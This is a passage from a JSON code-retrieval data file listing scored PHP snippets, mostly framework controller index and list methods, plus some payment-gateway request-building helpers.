"e3aa1fe6e467382c3a3c7d6d210fa6ba", "score": "0.6659404", "text": "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "title": "" }, { "docid": "50f00ab8e31c26165779f77d407ba147", "score": "0.6656656", "text": "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "title": "" }, { "docid": "8100e29714cb8e4ea7243502a0ece1f7", "score": "0.6653517", "text": "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "title": "" }, { "docid": "000f2ee3d1d0301ad0f55ae8c891f813", "score": "0.6647965", "text": "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "title": "" }, { "docid": "7885a77a55d758fc7c3ca4d9b8082284", "score": "0.6620322", "text": "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "title": "" }, { "docid": "58b5055aa7766919560eac36f68c1db2", "score": "0.66185474", "text": "public function view(){\n\t\t$this->buildListing();\n\t}", "title": "" }, { "docid": "b05cc0d66396241682eb08ef65ab2c83", "score": "0.6618499", "text": "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "title": "" }, { "docid": "d18bdb26d4ca96262bddb7c917a8349b", "score": "0.6606105", "text": "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "title": "" }, { "docid": "86fc68841118f2cf8cc05e234fa0777e", "score": "0.6600617", "text": "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "title": "" }, { "docid": "2b66066335dec8de726c5a77ff0aee12", "score": "0.65996987", "text": "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "title": "" }, { "docid": "f0de39e2f347b3e2ae997d130b38e941", "score": "0.6594775", "text": "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "title": "" }, { "docid": "1e6bd4eb78a78252539afb3a131fd8fb", "score": "0.6587389", "text": "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "title": "" }, { "docid": "e6490ecf73cb2144fca83c8ba66147f3", "score": "0.6585109", "text": "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "title": "" }, { "docid": "28feefe5ffbb1aaa6752c720a0532bfe", "score": "0.6581641", "text": "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "title": "" }, { "docid": "2d2ee69019284a5d658f50fdd6d094d6", "score": "0.6581017", "text": "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "title": "" }, { "docid": "13c5bf63a24813d5b4b83687cbbe5c75", "score": "0.6577157", "text": "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "title": "" }, { "docid": "c657f4f8a8c3a68d1efb77bb48bb64ed", "score": "0.65747666", "text": "public function listAction() {}", "title": "" }, { "docid": "dee2f760bddd1756c7c035069232f79c", "score": "0.6572513", "text": "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "title": "" }, { "docid": "34c7660459cd4da39347c5a18236bb4d", "score": "0.65721947", "text": "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "title": "" }, { "docid": "c42f5844e4a2228e3900c1fabf832026", "score": "0.6570553", "text": "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "title": "" }, { "docid": "8fcbc5a1a568f3e7c3f7e2f8dff9b148", "score": "0.65646994", "text": "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "title": "" }, { "docid": "0a7c70145a3a4b784ed96d9c25cb4b07", "score": "0.6563556", "text": "public function executeList()\n {\n $this->setTemplate('list');\n }", "title": "" }, { "docid": "bbbb0ff02d6a4b7c9ecfe4d2ea56337f", "score": "0.6554194", "text": "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "title": "" }, { "docid": "4d26affb174c19221ce588c9eebafab3", "score": "0.65529937", "text": "function listing() {\r\n\r\n }", "title": "" }, { "docid": "82c1353d3030493815167d5f81d640bb", "score": "0.65460825", "text": "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "title": "" }, { "docid": "ea43a79fd12bd5dff2bffb4510a5d10e", "score": "0.65368485", "text": "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "title": "" }, { "docid": "0400ea13e166c07ef25151bbef4b455f", "score": "0.653429", "text": "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "title": "" }, { "docid": "d751539cc41f307fad1b6804f8318415", "score": "0.65328294", "text": "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "title": "" }, { "docid": "d4e79a968a98f6ac1906664a59aac8bf", "score": "0.6526759", "text": "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "title": "" }, { "docid": "de74480294a1123dacaf091a018a43f7", "score": "0.6526695", "text": "public function _index(){\n\t $this->_list();\n\t}", "title": "" }, { "docid": "3e4f12e8ec15d668a9be175ae09737ae", "score": "0.6526284", "text": "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "title": "" }, { "docid": "dca89a9dfe98ef98f23e8c405126e084", "score": "0.65191334", "text": "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "title": "" }, { "docid": "4ccce2fe8b1368a03cf58d18c7d7489f", "score": "0.65183175", "text": "public function index()\n {\n $this->booklist();\n }", "title": "" }, { "docid": "ac8a4e8f7ba673f80eb0d433d63e55e7", "score": "0.65174305", "text": "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "title": "" }, { "docid": "9b0f4da09bdec99e98ebafb70ab32ae2", "score": "0.651703", "text": "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "title": "" }, { "docid": "c2efd7be4e56aeffcdb13e0bcd214fdf", "score": "0.65141153", "text": "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "title": "" }, { "docid": "389b8dbccde4696cda724a5bc36302af", "score": "0.6507088", "text": "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "title": "" }, { "docid": "9859640cc99b3c304bcffd904377446a", "score": "0.65061647", "text": "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "title": "" }, { "docid": "9574404dd05ce3c2611ce508bd896204", "score": "0.6504046", "text": "public function indexAction() {\n $this->_forward('list');\n }", "title": "" }, { "docid": "12d301af5c77c20befb614f7dc1143ad", "score": "0.64942145", "text": "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "title": "" }, { "docid": "88f1d549be2c21237f0ceb3975891048", "score": "0.6491893", "text": "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "title": "" }, { "docid": "8b1eaa504a92ec88744afddafd38af54", "score": "0.64883405", "text": "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "d21f403300504c3fe4d608bcd0692bd0", "score": "0.6486392", "text": "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "title": "" }, { "docid": "3289098065a34b6f7ce3c9789ae4fe35", "score": "0.6485077", "text": "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "title": "" }, { "docid": "977ac32679a930999aa3047f122aa680", "score": "0.64846045", "text": "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "title": "" }, { "docid": "c08ee608c2e0638276a9f92f4369b57e", "score": "0.6478858", "text": "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "title": "" }, { "docid": "9e4aa3765a088d74ea20e0e8231d81d1", "score": "0.64756656", "text": "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "title": "" }, { "docid": "52e2958485295df97c1b52d92263155e", "score": "0.64726377", "text": "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "title": "" }, { "docid": "f92be88dba29fa2e07ab2719b0d8b3c1", "score": "0.6471126", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "title": "" }, { "docid": "7a72ff5bace6f47eb0aa5efd43bfec8d", "score": "0.64701074", "text": "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "title": "" }, { "docid": "a2ab746e766f19e19b849e6fdc6dd489", "score": "0.6467418", "text": "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "title": "" }, { "docid": "0888788ae9bfefbe43a82d618a4801ab", "score": "0.6462195", "text": "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "title": "" }, { "docid": "c9263437c87a3a569eaa41be90ebfe87", "score": "0.64618355", "text": "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "title": "" }, { "docid": "f6c08ea1bf7865950b0d75c97e152a10", "score": "0.6459199", "text": "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "title": "" }, { "docid": "0c331d2d959fb3db9664261b09b54d68", "score": "0.6457831", "text": "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "title": "" }, { "docid": "2558c9dd9d7c48dd7ad44ce29a4584b1", "score": "0.6454631", "text": "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "title": "" }, { "docid": "ebe144d3d7dd86c5e8756c4723cb0a2d", "score": "0.64533997", "text": "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "title": "" }, { "docid": "bd921fac31bc2191c13c4934a18090d9", "score": "0.6451915", "text": "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "title": "" }, { "docid": "5656290f08d28002070b34971a1cddf4", "score": "0.6450861", "text": "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "title": "" }, { "docid": "f1b298fd55a647ede89404377208efd0", "score": "0.6449301", "text": "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "title": "" }, { "docid": "4a8f7c258acef1c4df84deb3efaeb563", "score": "0.64492667", "text": "public function index()\n {\n return view('admin.resources.index');\n }", "title": "" }, { "docid": "59ee4cb529855c5d8a5a8d23e6455dd0", "score": "0.64469045", "text": "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}", "title": "" } ]
f00605ec0670d93ec716b8c3924273d9
Prepares and returns necessary data, passed to the payment gateway.
[ { "docid": "e06799f12aad4f08516a3dc3b96d016c", "score": "0.0", "text": "function getConfirmationData($orderId)\n {\n global $application;\n\n $this->getSettings();\n $confirmationData = array\n (\n \"FormAction\" => PAYMENT_ALL_INACTIVE_URL\n ,\"FormMethod\" => \"GET\"\n ,\"DataFields\" => array\n (\n \"asc_action\" => \"UpdatePaymentStatus\"\n ,\"asc_oid\" => $orderId\n ,\"status\" => \"return\"\n )\n );\n return $confirmationData;\n }", "title": "" } ]
[ { "docid": "b502dc2b4f3846a5d84527d4e9492c1d", "score": "0.7071175", "text": "private function prepare_request_data() {\n if (file_exists(TWISPAY_PLUGIN_DIR . 'lang/' . $this->language . '/lang.php')) {\n require(TWISPAY_PLUGIN_DIR . 'lang/' . $this->language . '/lang.php');\n } else {\n require(TWISPAY_PLUGIN_DIR . 'lang/en/lang.php');\n }\n\n $order = wc_get_order($this->order_id);\n\n if (empty($this->order_id) || $order === false) {\n throw new Exception(esc_html($tw_lang['twispay_processor_error_general']));\n }\n\n $configuration = Twispay_TW_Helper_Processor::get_configuration();\n\n if (empty($configuration)) {\n throw new Exception(esc_html($tw_lang['twispay_processor_error_missing_configuration']));\n }\n\n $data = $order->get_data();\n $items = [];\n\n $customer = [\n 'identifier' => $data['customer_id'] === 0 ? $this->order_id : $data['customer_id'],\n 'firstName' => $data['billing']['first_name'] ?: '',\n 'lastName' => $data['billing']['last_name'] ?: '',\n 'country' => $data['billing']['country'] ?: '',\n 'city' => $data['billing']['city'] ?: $data['shipping']['city'],\n 'address' => $data['billing']['address_1'] ?: '',\n 'zipCode' => $data['billing']['postcode'] ?: $data['shipping']['postcode'],\n 'phone' => Twispay_TW_Helper_Processor::format_phone($data['billing']['phone']),\n 'email' => $data['billing']['email'],\n ];\n\n foreach ($order->get_items() as $item) {\n $items[] = [\n 'item' => $item['name'],\n 'units' => $item['quantity'],\n 'unitPrice' => $this->format_price($item['subtotal'], $item['quantity']),\n ];\n }\n\n $back_url = get_permalink(get_page_by_path('twispay-confirmation'));\n $back_url = add_query_arg([ 'secure_key' => $data['cart_hash'] ], $back_url);\n\n $order_data = [\n 'siteId' => $configuration['site_id'],\n 'customer' => $customer,\n 'order' => [\n 'orderId' => sanitize_key($_GET['order_id']),\n 'type' => 'purchase',\n 'amount' => $data['total'],\n 'currency' => $data['currency'],\n 'items' => $items\n ],\n 'cardTransactionMode' => 'authAndCapture',\n 'invoiceEmail' => '',\n 'backUrl' => $back_url,\n ];\n\n $request_data = Twispay_TW_Helper_Notify::getBase64JsonRequest($order_data);\n $checksum = Twispay_TW_Helper_Notify::getBase64Checksum($order_data, $configuration['secret_key']);\n $host_name = add_query_arg(\n [ 'lang' => $this->language ],\n $configuration['is_live'] ? Twispay_TW_Helper_Processor::LIVE_URL : Twispay_TW_Helper_Processor::STAGE_URL\n );\n\n return [\n 'host_name' => esc_url($host_name),\n 'data' => esc_attr($request_data),\n 'checksum' => esc_attr($checksum),\n ];\n }", "title": "" }, { "docid": "3d682e4223c918b85720ccd3765aca3f", "score": "0.6505282", "text": "public function preparePayment() {\n if ($this->validate()) {\n $trans = array();\n\n foreach ($this->fieldsJSON as $fieldName) {\n if (is_array($this->{$fieldName}) || !C2PValidate::isEmpty($this->{$fieldName})) {\n $trans[$fieldName] = $this->{\"get\" . ucfirst($fieldName)}();\n }\n }\n\n // Only PHP >= 5.4 has JSON_UNESCAPED_SLASHES option\n $post_data = str_replace('\\\\/', '/', json_encode($trans));\n $url = $this->url . Connect2PayClient::$API_ROUTES['TRANS_PREPARE'];\n\n $result = $this->doPost($url, $post_data);\n\n if ($result != null && is_array($result)) {\n $this->returnCode = $result['code'];\n $this->returnMessage = $result['message'];\n\n if ($this->returnCode == \"200\") {\n $this->merchantToken = $result['merchantToken'];\n $this->customerToken = $result['customerToken'];\n\n return true;\n } else {\n $this->clientErrorMessage = $this->returnMessage;\n }\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "6c548fd49ae5c085279f47abcc7dd456", "score": "0.64961046", "text": "protected function prepareParams()\n {\n $this->params['returnF'] = $this->getReturnFormat();\n $this->params['apiKey'] = $this->getApiKey();\n $this->params['siteId'] = $this->getSiteId();\n }", "title": "" }, { "docid": "1c26ef92bd736f9bb14a7e73fec224e0", "score": "0.63208705", "text": "public function _prepareBasicGatewayData()\n {\n $request = new DataObject();\n\n $isTest = (int)($this->getConfigData('is_test'));\n $request->setIsTest($isTest);\n $request->setMerchantId($this->getConfigData('merchant_id'));\n $request->setSiteId($this->getConfigData('site_id'));\n if ($isTest) {\n $request->setApiSecret($this->_encryptor->decrypt($this->getConfigData('api_secret_tests')));\n } else {\n $request->setApiSecret($this->_encryptor->decrypt($this->getConfigData('api_secret')));\n }\n\n return $request;\n }", "title": "" }, { "docid": "0ed9dcdd3f06b3e5c45d20ceabfa0e30", "score": "0.63201004", "text": "function preparePaymentData($orderId, $amount, $txnId='', $paymentGateway) {\n return [\n 'order_id' => $orderId,\n 'amount' => $amount,\n 'payment_reference_id' => $txnId,\n 'payment_gatway' => $paymentGateway\n ];\n}", "title": "" }, { "docid": "28b2bcd78d6eaa5a67c47fa6de9b3094", "score": "0.6312513", "text": "private function processPaymentInfo()\n {\n $requestData = array();\n \n $requestData[\"currency\"] = $this->currency;\n $requestData[\"amount\"] = $this->order->order_total;\n $requestData[\"reference\"] = $this->transaction_reference;\n $requestData[\"card[name]\"] = $_POST['paychoice_fullname'];\n $requestData[\"card[number]\"] = $_POST['paychoice_cardnumber'];\n $requestData[\"card[expiry_month]\"] = $_POST['paychoice_expiry_month'];\n $requestData[\"card[expiry_year]\"] = $_POST['paychoice_expiry_year'];\n $requestData[\"card[cvv]\"] = $_POST['paychoice_cvv'];\n \n $credentials = $this->api_username . \":\" . $this->api_password;\n \n try{\n $response = $this->sendChargeRequest($credentials, $this->useSandbox, $requestData);\n }catch(PaychoiceException $e)\n {\n $this->exception_message = $e->getMessage();\n return self::PAYMENT_ERROR;\n }\n \n return $response->charge->status_code;\n }", "title": "" }, { "docid": "07e15ad5db70e2e43bd018d4bf56c160", "score": "0.62948173", "text": "public function getPaymentData()\n\t{\t\n\t\t// get order id\n\t\t$order_id = Mage::getSingleton('checkout/session')->getLastRealOrderId();\n\t\tif (is_null($order_id))\n\t\t{\n\t\t\tMage::app()->getFrontController()->getResponse()->setRedirect(Mage::getUrl(\"/\"));\n\t\t}\n\t\t\n\t\t// get order\n\t\t$order = Mage::getModel('sales/order');\n\t\t$order = Mage::getModel('sales/order')->loadByIncrementId($order_id);\n\t\tif (is_null($order))\n\t\t{\n\t\t\tMage::app()->getFrontController()->getResponse()->setRedirect(Mage::getUrl(\"/\"));\n\t\t}\n\t\t\n\t\t// get order details\n\t\t$order_data = $order->_data;\n\t\tif (is_null($order_data))\n\t\t{\n\t\t\tMage::app()->getFrontController()->getResponse()->setRedirect(Mage::getUrl(\"/\"));\n\t\t}\n\t\t\n\t\t// get billing address\n\t\t$billing_address_data = $order->getBillingAddress()->_data;\n\t\t\n\t\t// create array with payment details and fill it with data\n\t\t$data = array();\n\t\t$data['customer'] = array();\n\t\t\n\t\tif (!is_null($order->getCustomerName()))\n\t\t{\n\t\t\t$data['customer']['name'] = $order->getCustomerName();\n\t\t}\n\t\t\n\t\tif (!is_null($billing_address_data['email']))\n\t\t{\n\t\t\t$data['customer']['email'] = $billing_address_data['email'];\n\t\t}\n\t\t\n\t\t$data['customer']['address'] = array();\n\t\t\n\t\tif (!is_null($billing_address_data['street']))\n\t\t{\n\t\t\t$data['customer']['address']['street_house'] = str_replace(\"\\n\", \", \", $billing_address_data['street']);\n\t\t}\n\t\t\n\t\tif (!is_null($billing_address_data['postcode']))\n\t\t{\n\t\t\t$data['customer']['address']['zip'] = $billing_address_data['postcode'];\n\t\t}\n\t\t\n\t\tif (!is_null($billing_address_data['city']))\n\t\t{\n\t\t\t$data['customer']['address']['city'] = $billing_address_data['city'];\n\t\t}\n\t\t\n\t\tif (!is_null($billing_address_data['country_id']))\n\t\t{\n\t\t\t$data['customer']['address']['country_code'] = $billing_address_data['country_id'];\n\t\t}\n\t\t\n\t\tif (!is_null($billing_address_data['region']))\n\t\t{\n\t\t\t$data['customer']['address']['state'] = $billing_address_data['region'];\n\t\t}\n\t\t\n\t\tif (!is_null($order_data['grand_total']))\n\t\t{\n\t\t\t// we need to remove last two 0s, magento stores prices in XX.XX00 format\n\t\t\t$data['amount'] = substr($order_data['grand_total'], 0, -2);\n\t\t}\n\t\t\n\t\tif (!is_null($order_data['remote_ip']))\n\t\t{\n\t\t\t$data['customer']['ip'] = $order_data['remote_ip'];\n\t\t}\n\t\t\n\t\tif (!is_null($order_data['order_currency_code']))\n\t\t{\n\t\t\t$data['currency_code'] = $order_data['order_currency_code'];\n\t\t}\n\t\t\n\t\t$data['payment_method'] = array();\n\t\t$data['payment_method']['account_data'] = array();\t\n\t\t\n\t\t$payment = $order->getPayment();\n\t\tif (is_null($payment) || !($payment instanceof Varien_Object))\n\t\t{\n\t\t\tMage::app()->getFrontController()->getResponse()->setRedirect(Mage::getUrl(\"/\"));\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t$data['payment_method']['account_data']['account_holder'] = $payment->getAdditionalInformation('account_holder');\n\t\t$data['payment_method']['account_data']['bic'] = $payment->getAdditionalInformation('bic');\n\t\t$data['payment_method']['account_data']['iban'] = $payment->getAdditionalInformation('iban');\n\t\t$data['payment_method']['account_data']['account_country'] = $payment->getAdditionalInformation('account_country');\n\t\t\n\t\t$data['fraud_check'] = Mage::getStoreConfig('payment/paylanedirectdebit/fraud_check');\t\t\n\t\t\n\t\t$description = '';\n\n\t\t// generate transaction description - item x quantity\n\t\tforeach ($order->getAllItems() as $item)\n\t\t{\n\t\t\t$item_data = $item->_data;\n\t\t\t$description .= $item_data['name'] . ' x ' . substr($item_data['qty_ordered'], 